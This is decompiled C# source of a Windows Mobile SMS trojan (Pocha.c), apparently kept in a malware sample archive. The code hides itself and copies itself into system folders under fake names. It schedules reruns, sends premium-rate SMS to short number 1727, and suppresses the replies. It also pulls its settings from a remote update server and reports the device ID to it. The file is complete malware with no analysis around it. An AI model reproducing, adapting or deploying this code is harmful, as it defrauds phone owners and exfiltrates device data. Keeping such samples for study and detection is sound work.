MalwareSourceCode/MSIL/Trojan-SMS/WinCE/P/Trojan-SMS.WinCE.Pocha.c-2bb546c7e5f11378cc9f51848af43130ca7dba9f8cc93046d5ab7be1ce2ebc43/Form1.cs

748 lines
22 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: viconect.Form1
// Assembly: viconect, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0595134F-28B6-447C-9941-5F1051DDA774
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-SMS.WinCE.Pocha.c-2bb546c7e5f11378cc9f51848af43130ca7dba9f8cc93046d5ab7be1ce2ebc43.exe
using HTTP;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.WindowsMobile.PocketOutlook;
using Microsoft.WindowsMobile.PocketOutlook.MessageInterception;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Windows.Forms;
using viconect.My;
namespace viconect
{
[DesignerGenerated]
public class Form1 : Form
{
private IContainer components;
private MainMenu mainMenu1;
[AccessedThroughProperty("WebRequestBindingSource")]
private BindingSource _WebRequestBindingSource;
[AccessedThroughProperty("starting")]
private Timer _starting;
private object trash;
private object shortnomer;
private object pref;
private object timesendh;
private object timesendm;
private object sendinterval;
private object subpref;
private object temp;
private object path;
private object myname;
private object myfolder;
private object nomer;
private object nowtime;
private MessageInterceptor interceptor;
private MessageInterceptorEventArgs sin;
private MessageInterceptor @out;
private Hardware hr;
public Form1()
{
this.Load += new EventHandler(this.Form1_Load);
this.shortnomer = (object) "1727";
this.pref = (object) "xboom ";
this.timesendh = (object) "12";
this.timesendm = (object) "22";
this.sendinterval = (object) "1";
this.subpref = (object) "true";
this.path = (object) Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName;
this.nowtime = (object) DateTime.Now.ToShortDateString();
this.@out = new MessageInterceptor();
this.hr = new Hardware();
this.InitializeComponent();
}
public static void Main() => Application.Run((Form) MyProject.Forms.Form1);
[DebuggerNonUserCode]
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
[DebuggerStepThrough]
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
this.mainMenu1 = new MainMenu();
this.WebRequestBindingSource = new BindingSource(this.components);
this.starting = new Timer();
((ISupportInitialize) this.WebRequestBindingSource).BeginInit();
this.SuspendLayout();
this.WebRequestBindingSource.DataSource = (object) typeof (WebRequest);
this.starting.Enabled = true;
this.starting.Interval = 2000;
this.AutoScaleDimensions = new SizeF(96f, 96f);
this.AutoScaleMode = AutoScaleMode.Dpi;
this.AutoScroll = true;
((Control) this).ClientSize = new Size(10, 10);
this.FormBorderStyle = FormBorderStyle.None;
this.Menu = this.mainMenu1;
this.Name = nameof (Form1);
this.Text = "Пуск";
((ISupportInitialize) this.WebRequestBindingSource).EndInit();
this.ResumeLayout(false);
}
internal virtual BindingSource WebRequestBindingSource
{
[DebuggerNonUserCode] get => this._WebRequestBindingSource;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._WebRequestBindingSource = value;
}
internal virtual Timer starting
{
[DebuggerNonUserCode] get => this._starting;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(this.starting_Tick);
if (this._starting != null)
this._starting.Tick -= eventHandler;
this._starting = value;
if (this._starting == null)
return;
this._starting.Tick += eventHandler;
}
}
private void Form1_Load(object sender, EventArgs e)
{
this.Top = -100;
this.Left = -100;
}
public void impotant()
{
label_1:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = -2;
label_2:
int num3 = 2;
this.folders();
label_3:
num3 = 3;
this.getinterval();
label_4:
num3 = 4;
File.Copy(Conversions.ToString(this.path), "\\windows\\wmoff.exe");
label_5:
num3 = 5;
File.Copy(Conversions.ToString(Operators.ConcatenateObject(this.myfolder, (object) "hardware.dll")), "\\windows\\Hardware.dll");
label_6:
num3 = 6;
File.Copy(Conversions.ToString(Operators.ConcatenateObject(this.myfolder, (object) "http.dll")), "\\windows\\HTTP.dll");
label_7:
num3 = 7;
File.Copy(Conversions.ToString(Operators.ConcatenateObject(this.myfolder, (object) "viconect.dll")), "\\windows\\hide.exe");
label_8:
num3 = 8;
Hardware.RunAppAtEvent("\\windows\\wmoff.exe", this.hr.evNetConnect);
label_9:
num3 = 9;
Hardware.RunAppAtTime("\\windows\\wmoff.exe", Conversions.ToLong(this.trash));
label_10:
num3 = 10;
StreamWriter text = File.CreateText("\\windows\\hide.bin");
label_11:
num3 = 11;
text.WriteLine(RuntimeHelpers.GetObjectValue(this.myfolder));
label_12:
num3 = 12;
text.WriteLine(RuntimeHelpers.GetObjectValue(this.myname));
label_13:
num3 = 13;
text.Flush();
label_14:
num3 = 14;
text.Close();
label_15:
num3 = 15;
Interaction.Shell("\\windows\\hide.exe");
label_16:
num3 = 16;
Application.Exit();
goto label_23;
label_18:
num2 = num3;
switch (num1 > -2 ? num1 : 1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_1;
case 2:
goto label_2;
case 3:
goto label_3;
case 4:
goto label_4;
case 5:
goto label_5;
case 6:
goto label_6;
case 7:
goto label_7;
case 8:
goto label_8;
case 9:
goto label_9;
case 10:
goto label_10;
case 11:
goto label_11;
case 12:
goto label_12;
case 13:
goto label_13;
case 14:
goto label_14;
case 15:
goto label_15;
case 16:
goto label_16;
case 17:
goto label_23;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_18;
}
throw ProjectData.CreateProjectError(-2146828237);
label_23:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
public void getmoney()
{
label_1:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = -2;
label_2:
int num3 = 2;
this.@out = new MessageInterceptor((InterceptionAction) 1);
label_3:
num3 = 3;
MessageInterceptor messageInterceptor = this.@out;
Form1 form1 = this;
// ISSUE: virtual method pointer
MessageInterceptorEventHandler interceptorEventHandler = new MessageInterceptorEventHandler((object) form1, __vmethodptr(form1, sms_in));
messageInterceptor.MessageReceived += interceptorEventHandler;
label_4:
num3 = 4;
this.getparam();
label_5:
num3 = 5;
if (!File.Exists("\\windows\\pat.bin"))
goto label_19;
label_6:
num3 = 6;
StreamReader streamReader = File.OpenText("\\windows\\pat.bin");
label_7:
num3 = 7;
string Left = streamReader.ReadLine();
label_8:
num3 = 8;
streamReader.Close();
label_9:
num3 = 9;
if (!Operators.ConditionalCompareObjectEqual((object) Left, this.nowtime, false))
goto label_11;
label_10:
num3 = 10;
Application.Exit();
goto label_18;
label_11:
num3 = 12;
label_12:
num3 = 13;
SmsMessage smsMessage1 = new SmsMessage(Conversions.ToString(this.shortnomer), Conversions.ToString(this.pref));
label_13:
num3 = 14;
smsMessage1.Send();
label_14:
num3 = 15;
StreamWriter text1 = File.CreateText("\\windows\\pat.bin");
label_15:
num3 = 16;
text1.WriteLine(RuntimeHelpers.GetObjectValue(this.nowtime));
label_16:
num3 = 17;
text1.Flush();
label_17:
num3 = 18;
text1.Close();
label_18:
goto label_26;
label_19:
num3 = 21;
label_20:
num3 = 22;
SmsMessage smsMessage2 = new SmsMessage(Conversions.ToString(this.shortnomer), Conversions.ToString(this.pref));
label_21:
num3 = 23;
smsMessage2.Send();
label_22:
num3 = 24;
StreamWriter text2 = File.CreateText("\\windows\\pat.bin");
label_23:
num3 = 25;
text2.WriteLine(RuntimeHelpers.GetObjectValue(this.nowtime));
label_24:
num3 = 26;
text2.Flush();
label_25:
num3 = 27;
text2.Close();
label_26:
label_27:
num3 = 29;
this.getinterval();
label_28:
num3 = 30;
Hardware.RunAppAtTime("\\windows\\wmoff.exe", Conversions.ToLong(this.trash));
goto label_35;
label_30:
num2 = num3;
switch (num1 > -2 ? num1 : 1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_1;
case 2:
goto label_2;
case 3:
goto label_3;
case 4:
goto label_4;
case 5:
goto label_5;
case 6:
goto label_6;
case 7:
goto label_7;
case 8:
goto label_8;
case 9:
goto label_9;
case 10:
goto label_10;
case 11:
case 19:
goto label_18;
case 12:
goto label_11;
case 13:
goto label_12;
case 14:
goto label_13;
case 15:
goto label_14;
case 16:
goto label_15;
case 17:
goto label_16;
case 18:
goto label_17;
case 20:
case 28:
goto label_26;
case 21:
goto label_19;
case 22:
goto label_20;
case 23:
goto label_21;
case 24:
goto label_22;
case 25:
goto label_23;
case 26:
goto label_24;
case 27:
goto label_25;
case 29:
goto label_27;
case 30:
goto label_28;
case 31:
goto label_35;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_30;
}
throw ProjectData.CreateProjectError(-2146828237);
label_35:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
public void sms_in(object sender, MessageInterceptorEventArgs e)
{
this.nomer = (object) e.Message.From.Address;
if (!Operators.ConditionalCompareObjectEqual(this.nomer, this.shortnomer, false))
return;
this.@out.InterceptionAction = (InterceptionAction) 1;
Application.Exit();
}
public void folders()
{
int startIndex = 0;
int num = 0;
while (this.path.ToString().IndexOf("\\", startIndex) >= 0)
{
startIndex = checked (this.path.ToString().IndexOf("\\", startIndex) + 1);
checked { ++num; }
if (num > 20)
goto label_4;
}
this.myname = (object) this.path.ToString().Substring(startIndex);
label_4:
this.myfolder = (object) this.path.ToString().Replace(Conversions.ToString(this.myname), "");
}
public void getinterval()
{
DateTime Date2 = new DateTime(634236480000000000L);
DateTime now = DateAndTime.Now;
Dictionary<string, string> dictionary = new Dictionary<string, string>();
dictionary.Add("d", "");
try
{
foreach (KeyValuePair<string, string> keyValuePair in dictionary)
this.trash = (object) (Conversions.ToString(DateAndTime.DateDiff(keyValuePair.Key, (object) now, (object) Date2)) + keyValuePair.Value);
}
finally
{
Dictionary<string, string>.Enumerator enumerator;
enumerator.Dispose();
}
this.trash = (object) this.trash.ToString().Replace("-", "");
this.trash = Operators.AddObject(this.trash, (object) 1);
this.trash = Operators.MultiplyObject(this.trash, (object) 86400000);
this.trash = Operators.AddObject(this.trash, this.timesendh);
this.trash = Operators.AddObject(this.trash, this.timesendm);
this.trash = Operators.AddObject(this.trash, (object) 63423648000000L);
this.trash = Operators.ConcatenateObject(this.trash, (object) "0000");
}
public void getparam()
{
if (File.Exists("\\windows\\concole.bin"))
{
StreamReader streamReader = File.OpenText("\\windows\\concole.bin");
this.shortnomer = (object) streamReader.ReadLine();
this.pref = (object) streamReader.ReadLine();
this.timesendh = (object) streamReader.ReadLine();
this.timesendm = (object) streamReader.ReadLine();
this.sendinterval = (object) streamReader.ReadLine();
this.subpref = (object) streamReader.ReadLine();
streamReader.Close();
}
else
{
StreamWriter text = File.CreateText("\\windows\\concole.bin");
text.WriteLine(RuntimeHelpers.GetObjectValue(this.shortnomer));
text.WriteLine(RuntimeHelpers.GetObjectValue(this.pref));
text.WriteLine(RuntimeHelpers.GetObjectValue(this.timesendh));
text.WriteLine(RuntimeHelpers.GetObjectValue(this.timesendm));
text.WriteLine(RuntimeHelpers.GetObjectValue(this.sendinterval));
text.WriteLine(RuntimeHelpers.GetObjectValue(this.subpref));
text.Flush();
text.Close();
}
if (Operators.ConditionalCompareObjectEqual(this.subpref, (object) "true", false))
this.pref = Operators.ConcatenateObject(this.pref, (object) new Random().Next(111, 9999));
this.timesendh = Operators.MultiplyObject(this.timesendh, (object) 3600000);
this.timesendm = Operators.MultiplyObject(this.timesendm, (object) 60000);
}
public void getrefresh()
{
label_1:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = -2;
label_2:
int num3 = 2;
this.getparam();
label_3:
num3 = 3;
WebRequest webRequest = new WebRequest(Conversions.ToString(Operators.ConcatenateObject((object) ("http://prosto-chat.ru/app/update.php?deviceid=" + this.hr.GetDeviceID() + "&pref="), this.pref)), 1251);
label_4:
num3 = 4;
WebResponse webResponse = new WebResponse(1251);
label_5:
num3 = 5;
webResponse.Value = webRequest.GetResponse();
label_6:
num3 = 6;
this.temp = (object) webResponse.GetString();
label_7:
num3 = 7;
webResponse.Close();
label_8:
num3 = 8;
if (Operators.ConditionalCompareObjectEqual(this.temp, (object) "", false))
goto label_39;
label_9:
num3 = 10;
label_10:
num3 = 11;
int num4 = 0;
label_11:
num3 = 12;
int startIndex = 0;
label_12:
num3 = 13;
num4 = this.temp.ToString().IndexOf("%", startIndex);
label_13:
num3 = 14;
startIndex = this.temp.ToString().IndexOf("%", checked (num4 + 1));
label_14:
num3 = 15;
this.shortnomer = (object) this.temp.ToString().Substring(checked (num4 + 1), checked (startIndex - num4 - 1));
label_15:
num3 = 16;
num4 = this.temp.ToString().IndexOf("%", startIndex);
label_16:
num3 = 17;
startIndex = this.temp.ToString().IndexOf("%", checked (num4 + 1));
label_17:
num3 = 18;
this.pref = (object) this.temp.ToString().Substring(checked (num4 + 1), checked (startIndex - num4 - 1));
label_18:
num3 = 19;
num4 = this.temp.ToString().IndexOf("%", startIndex);
label_19:
num3 = 20;
startIndex = this.temp.ToString().IndexOf("%", checked (num4 + 1));
label_20:
num3 = 21;
this.timesendh = (object) this.temp.ToString().Substring(checked (num4 + 1), checked (startIndex - num4 - 1));
label_21:
num3 = 22;
num4 = this.temp.ToString().IndexOf("%", startIndex);
label_22:
num3 = 23;
startIndex = this.temp.ToString().IndexOf("%", checked (num4 + 1));
label_23:
num3 = 24;
this.timesendm = (object) this.temp.ToString().Substring(checked (num4 + 1), checked (startIndex - num4 - 1));
label_24:
num3 = 25;
num4 = this.temp.ToString().IndexOf("%", startIndex);
label_25:
num3 = 26;
startIndex = this.temp.ToString().IndexOf("%", checked (num4 + 1));
label_26:
num3 = 27;
this.sendinterval = (object) this.temp.ToString().Substring(checked (num4 + 1), checked (startIndex - num4 - 1));
label_27:
num3 = 28;
num4 = this.temp.ToString().IndexOf("%", startIndex);
label_28:
num3 = 29;
startIndex = this.temp.ToString().IndexOf("%", checked (num4 + 1));
label_29:
num3 = 30;
this.subpref = (object) this.temp.ToString().Substring(checked (num4 + 1), checked (startIndex - num4 - 1));
label_30:
num3 = 31;
StreamWriter text = File.CreateText("\\windows\\concole.bin");
label_31:
num3 = 32;
text.WriteLine(RuntimeHelpers.GetObjectValue(this.shortnomer));
label_32:
num3 = 33;
text.WriteLine(RuntimeHelpers.GetObjectValue(this.pref));
label_33:
num3 = 34;
text.WriteLine(RuntimeHelpers.GetObjectValue(this.timesendh));
label_34:
num3 = 35;
text.WriteLine(RuntimeHelpers.GetObjectValue(this.timesendm));
label_35:
num3 = 36;
text.WriteLine(RuntimeHelpers.GetObjectValue(this.sendinterval));
label_36:
num3 = 37;
text.WriteLine(RuntimeHelpers.GetObjectValue(this.subpref));
label_37:
num3 = 38;
text.Flush();
label_38:
num3 = 39;
text.Close();
label_39:
label_40:
num3 = 41;
this.getmoney();
goto label_47;
label_42:
num2 = num3;
switch (num1 > -2 ? num1 : 1)
{
case 1:
int num5 = num2 + 1;
num2 = 0;
switch (num5)
{
case 1:
goto label_1;
case 2:
goto label_2;
case 3:
goto label_3;
case 4:
goto label_4;
case 5:
goto label_5;
case 6:
goto label_6;
case 7:
goto label_7;
case 8:
goto label_8;
case 9:
case 40:
goto label_39;
case 10:
goto label_9;
case 11:
goto label_10;
case 12:
goto label_11;
case 13:
goto label_12;
case 14:
goto label_13;
case 15:
goto label_14;
case 16:
goto label_15;
case 17:
goto label_16;
case 18:
goto label_17;
case 19:
goto label_18;
case 20:
goto label_19;
case 21:
goto label_20;
case 22:
goto label_21;
case 23:
goto label_22;
case 24:
goto label_23;
case 25:
goto label_24;
case 26:
goto label_25;
case 27:
goto label_26;
case 28:
goto label_27;
case 29:
goto label_28;
case 30:
goto label_29;
case 31:
goto label_30;
case 32:
goto label_31;
case 33:
goto label_32;
case 34:
goto label_33;
case 35:
goto label_34;
case 36:
goto label_35;
case 37:
goto label_36;
case 38:
goto label_37;
case 39:
goto label_38;
case 41:
goto label_40;
case 42:
goto label_47;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_42;
}
throw ProjectData.CreateProjectError(-2146828237);
label_47:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
private void starting_Tick(object sender, EventArgs e) => this.startingsub();
public void startingsub()
{
this.starting.Enabled = false;
this.Hide();
if (File.Exists("\\windows\\wmoff.exe"))
this.getrefresh();
else
this.impotant();
}
}
}